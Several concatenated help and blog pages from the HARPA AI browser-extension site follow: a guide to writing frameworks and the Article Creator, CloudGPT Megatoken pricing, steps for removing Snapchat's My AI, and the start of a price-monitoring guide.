AIDA model is particularly effective in creating persuasive advertisements, sales letters, and promotional materials. * 💡 **PAS (Problem, Agitate, Solve):** A powerful persuasive writing framework that first identifies a problem the target audience faces, then agitates the reader by emphasizing the negative consequences of not addressing the issue, and finally, offers a solution that resolves the problem. By tapping into the reader's emotions and presenting a compelling argument, the PAS framework motivates them to take action. * 🌉 **BAB (Before, After, Bridge):** A captivating storytelling framework that depicts a situation prior to the implementation of the solution, followed by the improved situation after the solution has been applied. The "bridge" element connects the before and after scenarios, clearly demonstrating how the product or service has facilitated the transformation. The BAB approach is particularly useful in case studies, testimonials, and content marketing. * 📚 **PASTOR (Problem, Amplify, Solution, Testimonials, Offer, Response):** This comprehensive writing framework begins by addressing a problem the target audience faces, then amplifies its significance to emphasize the need for resolution. Next, it presents a solution and bolsters its credibility with testimonials or evidence. The framework then makes an enticing offer and calls for a response, prompting readers to take action. The PASTOR model is ideal for sales letters, landing pages, and email campaigns. * 🎓 **FAB (Features, Advantages, Benefits):** An informative framework that highlights the unique features of a product or service, elucidates its advantages over competitors, and showcases the benefits the target audience can expect. By demonstrating the value proposition clearly and persuasively, the FAB method can help potential customers understand why they should choose your product or service over others in the market. ### [\#](https://harpa.ai/guides/writing-styles#information-and-analysis-techniques) Information and Analysis Techniques By utilizing information and analysis techniques, you can craft content that is both informative and engaging. This will ensure that all relevant aspects of a topic are covered while maintaining a clear and logical structure. By mastering these methods, you can elevate your writing skills and effectively communicate complex ideas in a persuasive manner, with the aid of the advanced HARPA ChatGPT AI. * 🎯 **5W1H (Who, What, When, Where, Why, How):** This journalistic framework is designed to answer six essential questions, providing a comprehensive understanding of any topic. By addressing each of these critical aspects, the 5W1H method ensures that your content covers all necessary information, creating a well-rounded and informative piece that leaves no question unanswered. * 🔍 **SWOT Analysis (Strengths, Weaknesses, Opportunities, Threats):** A strategic framework that delves into both internal and external factors affecting a subject. The SWOT analysis method evaluates internal strengths and weaknesses, as well as external opportunities and threats, allowing for a holistic understanding of the subject at hand. This technique is especially useful in business and marketing contexts for assessing competitive landscapes, identifying growth opportunities, and planning strategies. * 🔺 **Pyramid Principle:** This writing technique starts by presenting the most critical information (the main point) at the beginning, followed by supporting details and explanations arranged in a hierarchical structure. By organizing content in this manner, the Pyramid Principle ensures that your audience can quickly grasp the central idea and delve deeper into the specifics as they continue reading. * 😚 **KISS (Keep It Simple, Stupid):** A writing principle that champions simplicity and clarity in communication, the KISS method encourages writers to avoid unnecessary jargon, complexity, and verbosity. By keeping your writing straightforward and easy to understand, you can ensure that your message is effectively conveyed to a broader audience. * 📝 **PEEL (Point, Explanation, Evidence, Link):** A paragraph-writing framework that promotes clarity and structure in presenting arguments. The PEEL method begins by making a point, followed by an explanation of the point, the provision of evidence to support the claim, and finally, linking the point to the broader context or theme. This technique allows for a logical progression of ideas, making your argument more persuasive and easy to follow. ### [\#](https://harpa.ai/guides/writing-styles#storytelling-and-professional-communication-techniques) Storytelling and Professional Communication Techniques By mastering storytelling and professional communication techniques, you can greatly improve your ability to effectively communicate your ideas, experiences, and arguments. These methods can be applied in a variety of settings, such as job interviews, presentations, or written reports, to craft compelling and persuasive narratives that resonate with your audience. * ⭐ **STAR (Situation, Task, Action, Result):** This storytelling framework is widely used in professional settings, such as job interviews, to effectively convey personal experiences or accomplishments. The STAR method guides you through describing the situation, outlining the task at hand, explaining the actions taken, and sharing the resulting outcome. This structured approach ensures a clear and engaging narrative that highlights your skills and achievements. * 🦅 **SOAR (Situation, Obstacles, Actions, Results):** Similar to the STAR method, the SOAR framework focuses on overcoming obstacles in addition to the situation, actions, and results. By emphasizing the challenges faced and the steps taken to overcome them, SOAR narratives demonstrate resilience, problem-solving abilities, and adaptability, making them powerful tools in professional communication. * 🏛️ **Toulmin Model:** This method provides a structured approach to constructing persuasive arguments by first establishing a claim, then supporting it with evidence (grounds), and finally building a logical and persuasive case through warrants, which connect the evidence to the claim. The Toulmin Model ensures that your arguments are well-founded, convincing, and easy to follow, making it an invaluable technique in various professional and academic contexts. * 📈 **SCIPAB (Situation, Complication, Implication, Position, Action, Benefit):** This business writing framework is designed to address complex issues in a structured and persuasive manner. SCIPAB begins by outlining the current situation and identifying the complication or challenge. It then delves into the implications of not addressing the issue before presenting the author's position on the matter. Finally, the recommended actions and expected benefits are detailed, creating a compelling case for taking action. * 🗣️ **PREP (Point, Reason, Example, Point):** This communication framework emphasizes clarity and structure by starting with making a point, followed by providing a reason for that point, offering an example to support the reason, and then restating the point. By adhering to the PREP method, your arguments will be more coherent, persuasive, and easily understood by your audience. ### [\#](https://harpa.ai/guides/writing-styles#academic,-opinion,-and-creative-writing-styles) Academic, Opinion, and Creative Writing Styles By mastering academic, opinion, and creative writing styles, you can take your writing abilities to the next level with the help of the HARPA AI chrome extension. This knowledge will enable you to adapt to a variety of writing tasks and engage with diverse audiences, allowing you to create well-rounded, impactful, and captivating content across a broad range of subjects and formats. * 🎓 **Harvard:** This widely recognized academic writing style adheres to specific formatting and citation guidelines in research papers, academic articles, and scholarly publications. The Harvard referencing system ensures consistency, credibility, and proper attribution of sources in academic work, enabling readers to easily locate and verify the information presented. By following the Harvard style, your academic writing will be more professional and well-organized. * 💭 **Opinion Writing:** This distinct style of writing allows authors to express their personal perspectives, beliefs, or viewpoints on various topics. Opinion writing can be found in opinion-editorial (op-ed) pieces, blog posts, and personal essays. It encourages thought-provoking discussions and debates by presenting unique insights and arguments, often supported by facts or personal experiences. Mastering opinion writing can help you become a more persuasive and engaging writer, capable of influencing your audience's opinions or sparking meaningful conversations. * 🤪 **Gonzo Journalism:** Characterized by its first-person narrative, gonzo journalism is a creative writing style that blends facts with the author's personal experiences and emotions. This approach allows writers to immerse themselves in the story, providing readers with an authentic and subjective perspective on events or situations. Gonzo journalism is often associated with unconventional topics, investigative reporting, and counterculture movements. Embracing this style can enrich your writing by infusing it with passion, emotion, and a unique voice, making it both compelling and memorable. [\#](https://harpa.ai/guides/writing-styles#how-to-use-writing-styles) How to use writing styles ------------------------------------------------------------------------------------------------- First, please make sure to install [HARPA AI Free Chrome Extension](https://get.harpa.ai/) and login to your ChatGPT account in Chrome. 1. Open HARPA AI by clicking its icon in the top right corner or pressing **Alt+A** (on Windows) and **^+A** (on Mac). 2. Type **/article** in HARPA chat and select "**Article Creator**" command. 3. You can create an entire article in one go or develop it chapter by chapter for more extensive articles. 4. Click "**Generate Outline**" button then type in the topic of your article, or press Enter for HARPA to guess the topic based on the currently open web page. 5. Pick an article style or type custom instructions. ![](https://harpa.ai/img/guides/writing-styles-1.webp) 6. Wait for the Outline to be generated. Click '**Edit**' to refine it, or '**Done**' to accept it as is. 7. Once the outline is ready, you can generate the article section by section, starting from the first chapter, or generate the entire article with one click, but it will be shorter. 8. Relax and enjoy generative AI writing an article for you in various styles. No worries, HARPA AI got your back whether you're working on a thesis or a post for your site. ### [\#](https://harpa.ai/guides/writing-styles#use-cases) Use cases * 📚 **Students** utilize the Article Writing Styles tool to seamlessly format academic papers with the Harvard referencing system, ensuring consistency and credibility. Access AI-generated content to aid in creating well-structured essays and reports. * 💼 **Marketing Professionals** employ persuasive writing frameworks like AIDA, PAS, and PASTOR to create compelling advertisements, sales letters, and promotional materials that effectively communicate product value and engage the target audience. * 📰 **Journalists & Content Creators** harness the power of storytelling techniques like the STAR and SOAR methods to convey personal experiences, highlight achievements, and showcase resilience in captivating narratives for articles, interviews, and blog posts. * 🌐 **Web Developers & Designers** leverage AI-enhanced marketing, SEO, and copywriting assistance to optimize web content, ensuring higher search engine rankings and improved user experience. Employ the web automation Chrome extension to simplify and streamline workflow. * 🎨 **Creative Writers & Bloggers** explore creative writing styles like Gonzo journalism and Opinion Writing to infuse passion, emotion, and unique voice into articles, stories, or blog posts, resulting in memorable and engaging content. ### [\#](https://harpa.ai/guides/writing-styles#extra:-business-analysis-methods) Extra: Business analysis methods Apart from writing content for you, you can ask HARPA AI to perform a business analysis. Here is a list of widely used analysis methods which you can reference in your prompts: * **SWOT Analysis:** This method evaluates a company's internal Strengths, Weaknesses, and external Opportunities, and Threats. It helps to identify areas of improvement, potential growth opportunities, and any risks that the company may face. * **PEST Analysis:** This method examines the external macro-environmental factors that affect a business. PEST stands for Political, Economic, Sociocultural, and Technological factors. It helps companies understand the larger context in which they operate and adapt to changes in the external environment. * **STEEPLE Analysis:** This method is an extension of PEST analysis, adding Environmental, Legal, and Ethical factors to the list of macro-environmental factors. STEEPLE analysis provides a more comprehensive understanding of the external forces that may impact a business. * **SWOC Analysis:** Similar to SWOT analysis, SWOC stands for Strengths, Weaknesses, Opportunities, and Challenges. This method also evaluates internal and external factors but focuses on identifying challenges rather than threats. * **ABC Analysis:** This inventory management technique categorizes items based on their importance, typically measured by sales volume or value. The categories are A (most important), B (moderately important), and C (least important). This method helps companies allocate resources more efficiently by focusing on high-value items or activities. [\#](https://harpa.ai/guides/writing-styles#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [GPT Chunking](https://harpa.ai/guides/chunking) * [Using Flags](https://harpa.ai/guides/using-flags) * [Google Search Operators in {{serp}}](https://harpa.ai/blog/google-search-operators-harpa-ai) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/write-text-on-websites-with-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Connecting to CloudGPT [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/weather/cloud-01.svg) Connecting to CloudGPT ====================== OUTLINE NAVIGATE Cloud GPT is our premium connection. It has significantly less downtime and isn't restricted by country, ensuring availability even when OpenAI's servers are at capacity. You are billed based on your usage, measured in Megatokens, which [can be purchased](https://harpa.ai/pricing) regardless of your subscription plan. S plan users receive several Megatokens as part of their package. [\#](https://harpa.ai/blog/cloud-gpt-connection#how-to-use-cloudgpt?) How to use CloudGPT? ------------------------------------------------------------------------------------------- 1. If you purchased the S plan, you already have Megatokens. X or Free plan users can buy Megatokens by: * Logging into our [account](https://harpa.ai/account) * Selecting and paying for the desired amount on the [pricing page](https://harpa.ai/pricing) ![](https://harpa.ai/img/guides/cloudgpt-1.webp) 2. Open HARPA by clicking its icon in the top right corner of the Chrome Browser or by pressing **Alt+A** (on Windows) and **^+A** (on Mac). 3. Create a new chat and you'll see the default AI model and your current CloudGPT token balance (if CloudGPT connection is selected): ![](https://harpa.ai/img/guides/cloudgpt-2-1.webp) 4. Alternatively: click on the connection menu in the bottom left corner, and you'll see available CloudGPT connection options and your current Megatoken balance at the top. ![](https://harpa.ai/img/guides/cloudgpt-2.webp) **Usage control:** * Check your chat request's input and output tokens by hovering over the star icon below the message for details. ![](https://harpa.ai/img/guides/cloudgpt-3.webp) * Usage history could be checked from your [space profile](https://harpa.ai/account) on HARPA AI. ![](https://harpa.ai/img/guides/cloudgpt-4.webp) This can be useful for Spaces users, where the Megatoken balance is shared, monitored, and paid for by the owner. ### [\#](https://harpa.ai/blog/cloud-gpt-connection#what-are-megatokens?) What are Megatokens? 1 Megatoken is 1 million GPT-5 Nano input tokens and is roughly 750.000 words of input text in English. Using languages with non-Latin alphabets significantly increases the number of tokens used. Output tokens cost x3 input tokens. GPT-5.4 tokens cost x10 of GPT-5 Nano tokens. How many queries is in 1 Megatoken? **On average, 1 Megatoken is:** * Approximately 150 YouTube summaries (based on 15-minute videos) using GPT-5 Nano. GPT-5.4 or Sonnet 4.6 models would use 10 times more tokens. * Roughly 50 GPT-5 Nano or GPT-5.4 Vision requests. * 3000 basic requests in chat on GPT-5 Nano model. * 300 page-aware requests in chat on GPT-5 Nano model. * 300 basic requests in chat on GPT-5.4 model. * 30 page-aware requests in chat on GPT-5.4 model. [\#](https://harpa.ai/blog/cloud-gpt-connection#more-guides) More Guides ------------------------------------------------------------------------- * [Connecting to ChatGPT](https://harpa.ai/blog/chatgpt-web-session) * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to GPTs](https://harpa.ai/blog/gpts-connection-in-harpa-ai) * [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) * [Connecting to Google Gemini](https://harpa.ai/blog/google-bard-connection) * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/survey-chatgpt-in-digital-marketing) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/chatgpt-web-session) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Unpin My AI from Snapchat [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/eye-off.svg) How to Unpin My AI from Snapchat ================================ OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) Snapchat's My AI has been a topic of discussion and, for many, a point of frustration. Pinned to the top of your chat feed, this AI chatbot can be both intriguing and annoying. If you're one of those who find it more of a nuisance, you're in the right place. This guide will provide you with step-by-step instructions to unpin and remove My AI from your Snapchat chat feed. [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#what-you-need) What You Need ---------------------------------------------------------------------------------------------------- Before you proceed with the unpinning process, make sure you have the following: 1. **Snapchat App**: Ensure that your Snapchat app is updated to the latest version. 2. **Snapchat Account**: You should be logged into your Snapchat account. 3. **Internet Connection**: A stable internet connection is required for the process. [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-unpin-and-remove-my-ai-from-snapchat-quickly) How to Unpin and Remove My AI From Snapchat Quickly -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#what-happens-when-you-unpin-my-ai?) What Happens When You Unpin My AI? When you unpin My AI, it will no longer appear at the top of your chat feed, giving you a more **clutter-free Snapchat experience**. ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#step-by-step-instructions-on-unpinning-my-ai) Step-by-Step Instructions on Unpinning My AI 1. **Open Snapchat**: Launch the Snapchat app on your device. 2. **Navigate to Chat Screen**: Swipe left from the camera screen to access your chat feed. 3. **Long Press on My AI**: Hold down the My AI chat to reveal more options. 4. **Access Chat Settings**: Tap on 'Chat Settings' that appears after the long press. 5. **Clear My AI**: Select the 'Clear from Chat Feed' option. ![](https://harpa.ai/img/blog/blog20-1.webp) For more information, you can visit Snapchat's support page: [Snapchat Support](https://help.snapchat.com/hc/en-us/articles/13387249333780-How-do-I-unpin-or-remove-My-AI-with-Snapchat-) ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#what-happens-after-unpinning?) What Happens After Unpinning? Once you've successfully unpinned My AI, it will be removed from the top of your chat feed. However, you can still access it from the chat list if you wish to interact with it later. For additional methods, you can check this article: [How to remove My AI from Snapchat: You'll have to pay...](https://9to5mac.com/2023/04/24/snapchat-my-ai-pinned-to-feed-update/) [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-get-rid-of-snapchat-%22my-ai%22-bot-from-chat-feed) How to Get Rid of Snapchat "My AI" Bot from Chat Feed ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-disable-my-ai-via-the-chat-feed) How to Disable My AI via the Chat Feed 1. **Open Snapchat and Go to Chat**: The first step is similar; you need to open Snapchat and navigate to the chat feed. 2. **Find My AI**: Scroll through your chat list and locate My AI. 3. **Swipe Left**: Swipe left on My AI to reveal the settings icon. 4. **Tap on Settings**: Tap on the gear icon that appears. 5. **Select 'Disable My AI'**: Choose this option to disable My AI. For more details, you can read this article: [How to Unpin and Remove My AI From Snapchat Quickly](https://techwiser.com/how-to-unpin-and-remove-my-ai-from-snapchat-quickly/) ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-remove-my-ai-from-the-settings) How to Remove My AI from the Settings 1. **Go to Snapchat Settings**: Tap on your profile icon and then the gear icon to access settings. 2. **Scroll to 'Who Can...' Section**: Scroll down until you find the 'Who Can...' section. 3. **Find 'My AI'**: Under this section, you'll find an option for My AI. 4. **Select 'Remove My AI'**: Tap on it and confirm your action. For a video guide, you can refer to this URL: `https://youtube.com/watch?v=Qs5lQbSK0ac` ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-unpin-my-ai-instead-of-removing-it) How to Unpin My AI Instead of Removing It If you don't want to remove My AI completely but just want it unpinned, you can do so by following these steps: 1. **Go to Chat Settings**: Navigate to your chat settings by tapping on your profile picture. 2. **Find 'Pinned Chats'**: Under chat settings, locate the 'Pinned Chats' option. 3. **Unpin My AI**: Tap on My AI and select 'Unpin'. For more insights, you can visit: [How to Get Rid of Snapchat "My AI" Bot from Chat Feed](https://beebom.com/how-get-rid-snapchat-my-ai-bot/) [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-remove-my-ai-on-snapchat) How to Remove My AI on Snapchat ---------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#step-by-step-instructions-on-how-to-remove-my-ai-entirely) Step-by-Step Instructions on How to Remove My AI Entirely If you're looking to remove My AI entirely from your Snapchat experience, here's how you can do it: 1. **Open Snapchat**: Launch the Snapchat app. 2. **Go to Settings**: Tap on your Bitmoji in the upper left-hand corner, then tap on the gear icon in the upper right-hand corner. 3. **Navigate to Privacy Controls**: Scroll down to the "Privacy Controls" section. 4. **Clear Data**: Tap on "Clear Data." 5. **Clear Conversations**: Tap on "Clear Conversations." 6. **Remove My AI**: Select the "X" next to "My AI" to remove it from your chat feed. For more details, you can read this article: [How to Get Rid of "My AI" on Snapchat](https://www.howtogeek.com/904255/how-to-get-rid-of-my-ai-on-snapchat/) For a video tutorial, you can refer to this URL: `https://youtube.com/watch?v=5HHKD-ZzXL4` ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#what-happens-after-removing-my-ai?) What Happens After Removing My AI? After you've removed My AI, it will no longer appear in your chat feed or anywhere else in the app. You'll have a **clutter-free Snapchat experience**, but you'll also lose the AI's capabilities, such as lens recommendations and chat responses. For more insights, you can visit: [How to remove My AI from Snapchat: You'll have to pay...](https://9to5mac.com/2023/04/24/snapchat-my-ai-pinned-to-feed-update/) [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#how-to-get-rid-of-my-ai-on-snapchat-in-4-steps) How to Get Rid of My AI on Snapchat in 4 Steps ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#why-does-snapchat-include-my-ai?) Why Does Snapchat Include My AI? Snapchat introduced My AI as a way to enhance user engagement and offer a **personalized chat experience**. However, the feature has received a tremendous backlash from users who find it intrusive. ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#can-my-ai-be-removed-from-snapchat?) Can My AI Be Removed from Snapchat? Yes, My AI can be removed, but if you're not a Snapchat+ subscriber, your options are limited. Snapchat+ users can easily remove My AI by subscribing to the service for a $3.99 monthly fee. ### [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#quick-steps-to-get-rid-of-my-ai) Quick Steps to Get Rid of My AI 1. **Open Snapchat**: Launch the app. 2. **Go to Chat**: Navigate to the chat feed. 3. **Long Press My AI**: Hold down on My AI to reveal options. 4. **Select 'Unpin' or 'Remove'**: Choose the appropriate option based on your preference. For more details, you can read this article: [How to Unpin and Remove My AI From Snapchat Quickly](https://techwiser.com/how-to-unpin-and-remove-my-ai-from-snapchat-quickly/) [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#faqs) FAQs ---------------------------------------------------------------------------------- 1. **What Happens When You Unpin Snapchat's My AI?** * When you unpin My AI, it will no longer appear at the top of your chat feed but will still be accessible from the chat list. 2. **Can I Disable My AI Completely on Snapchat?** * Yes, you can disable My AI completely by going to your settings and clearing your chat data. 3. **How Does My AI Work on Snapchat?** * My AI is designed to interact with you like a friend. It can respond to your messages, recommend lenses, and even suggest places to visit. 4. **Why Did Snapchat Make My AI a Permanent Feature?** * Snapchat aims to enhance user engagement through My AI, although the feature has been met with mixed reviews. For more insights, you can visit: [How to remove My AI from Snapchat: You'll have to pay...](https://9to5mac.com/2023/04/24/snapchat-my-ai-pinned-to-feed-update/) [\#](https://harpa.ai/blog/how-to-remove-snapchat-my-ai-from-chat-feed#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides ------------------------------------------------------------------------------------------------------------------------------------------------ * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Price Monitor [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/shopping-bag-01.svg) Price Monitor ============= CONTENTS NAVIGATE HARPA AI can be used as **online shopping and web monitoring assistant**. By automating price monitoring it helps you snag the best deals on e-commerce websites such as Amazon, AliExpress, Barnes & Noble, Rakuten, Newegg, and others. With its price drop alerts, you can be informed as soon as a product you're interested in goes on sale. If a product you're after is out of stock, simply set up a monitor for the page and receive a notification the moment it becomes available again. Stay ahead of the competition and get the best shopping deals with HARPA. [\#](https://harpa.ai/guides/monitor-price-drops#how-to-monitor-prices) How to Monitor Prices ---------------------------------------------------------------------------------------------- Before you begin, make sure to install Google Chrome or a Chromium-based browser and get free HARPA AI Chrome Extension from the [Official Chrome WebStore](https://get.harpa.ai/) . 1. Navigate to a web page you would like to monitor. 2. To keep track of a product price, open HARPA AI by clicking its icon in the top right corner of the browser or pressing **Alt+A** (on Windows) and **^+A** (on Mac), and switch over to the **AUTOMATE** tab at the top of HARPA window. ![](https://harpa.ai/img/guides/monitor-1.webp) 3. The **AUTOMATE** tab will present to you a list of possible items to track. To monitor a product price, simply click the corresponding option. For example, if the current product price is **$549.95**, click the item with **$549.95**. 4. All that is left to do is to click **START** button and HARPA AI will launch and refresh the web page in background periodically. HARPA AI will send you a notification in browser whenever the product price drops. ![](https://harpa.ai/img/guides/monitor-2.webp) HARPA AI runs monitors and automations in your browser, so your web data never leaves your machine. ### [\#](https://harpa.ai/guides/monitor-price-drops#monitor-customization-options) Monitor Customization Options You can customize schedule, triggers, actions and other parameters of your web monitors. 1. **Schedule Interval**. Monitors are run periodically and you can choose the running frequency from 15 seconds up to once a month. Running checks too often puts extra work on your machine and web servers. Some websites may log you out or ask to pass CAPTCHA test. It is recommended to always pick a reasonable delay such as 1 check every 3 hours for non-critical monitors. 2. **Trigger**. A trigger is a condition that HARPA AI checks every time the monitor task is run. You can monitor for a specific text to appear (e.g. “discount”) or disappear (e.g. “out of stock”), price value drop, page content update and others. Once the task is triggered, HARPA AI fires actions. 3. **Actions.** Actions are taken when a trigger fires and include showing a notification, sending an email, playing a sound, calling a webhook, or integrating with Make.com (Integromat). You can turn ON or OFF actions and specify when they should be run (first trigger, every trigger, every run). The last option is especially helpful if you would like to send data from HARPA AI to Google Sheets via Make.com. 4. **Before Run**. You can tell HARPA AI to wait for page to load, hide cookie banners, wait for text to appear or scroll the page down and up before the trigger check is run. By setting up a combination of triggers and actions you can instruct HARPA AI to send you an email whenever price drops, while pushing data to Google Sheet on every monitor run. [\#](https://harpa.ai/guides/monitor-price-drops#tracking-back-in-stock-alerts) Tracking Back In Stock Alerts -------------------------------------------------------------------------------------------------------------- HARPA AI can tell you a product you are after is back in stock. 1. To set up an out-of-stock monitor, click the **ELEMENT** button during monitor setup then click the corresponding text on the webpage. ![](https://harpa.ai/img/guides/monitor-3.webp) 2. The text is highlighted as you move your cursor along the page. ![](https://harpa.ai/img/guides/monitor-4.webp) 3. Once you've selected the appropriate element, HARPA will diligently monitor if the element is removed from the page, so that you stay informed on the product's availability. ![](https://harpa.ai/img/guides/monitor-5.webp) All set! With HARPA AI, you'll stay on top of any changes on your favorite websites and eliminate the need to constantly check them for updates. Alternatively you can monitor a web page for text to disappear. [\#](https://harpa.ai/guides/monitor-price-drops#automations-dashboard) Automations Dashboard ---------------------------------------------------------------------------------------------- You can always see how your monitors perform by navigating to the **HARPA Automations Dashboard**. ![](https://harpa.ai/img/guides/monitor-6.webp) There are several ways to open this page: 1. Simply click the HARPA AI extension icon on an opened, blank browser page. 2. Press the HOME button in the HARPA AI interface 